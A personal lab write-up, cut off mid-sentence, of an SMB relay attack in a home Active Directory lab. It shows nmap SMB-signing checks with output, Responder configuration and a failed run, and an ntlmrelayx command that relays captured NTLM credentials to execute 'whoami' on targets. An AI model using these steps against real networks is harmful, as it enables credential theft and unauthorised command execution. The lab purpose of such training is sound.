SMB Relay Attacks - Lab

First thing is to probe for that vulnerability:

Remember we are enumerating Windows machine, and Windows does not respond to ping by default, so we need to run with the "-Pn" flag for Nmap not to expect SYN/ACK confirmation to scan.

We run: "#sudo nmap --script=smb2-security-mode.nse -p 445 -Pn IP_ADDRESS

```
┌──(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
└─$ sudo nmap --script=smb2-security-mode.nse -p 445 -Pn 192.168.163.154 -oN domain-check
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 21:20 EDT
Nmap scan report for 192.168.163.154
Host is up (0.00053s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:B9:95:86 (VMware)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds
```

↳ CLIENT

```
┌──(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
└─$ sudo nmap --script=smb2-security-mode.nse -p 445 -Pn 192.168.163.152 -oN domain-check1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 21:20 EDT
Nmap scan report for 192.168.163.152
Host is up (0.00049s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:45:3F:89 (VMware)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
```

↳ DOMAIN CONTROLLER

```
┌──(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
└─$ sudo nmap --script=smb2-security-mode.nse -p 445 -Pn 192.168.163.153 -oN client-1-check
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 21:19 EDT
Nmap scan report for 192.168.163.153
Host is up (0.00036s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:F4:56:A3 (VMware)

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds
```

CLIENT 2

Now, we need to configure Responder. That is going to be on "/etc/responder/Responder.conf" path.

Switch to "Off" SMB and HTTP. Line 5 and 12.

Now, lets run Responder.

"#sudo responder -i eth0 -dwPv"

Actually, this command does not work. We need to use the "P" or the "w" flag, but not both together.

```
┌──(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack]
└─$ sudo responder -I eth0 -dwPv

           NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github → https://github.com/sponsors/lgandx
  Paypal  → https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C

You cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.
```

After starting Responder, we need to start the ntlmrelayx.py to relay the credentials to the target we set up.

-make a file with the ip addresses that are being targeted, in this case both clients ip address.

Then, we can issue:

"#ntlmrelayx.py -tf targets.txt -smb2support -c "whoami" "

Now, we need an event to occur.

Log in as kaku and go to the file explorer and make a request to the attacker machine.

Here, responder is freaking out whenever I send the request.

This first error is the output generated by the command:"#sudo responder -I eth0 -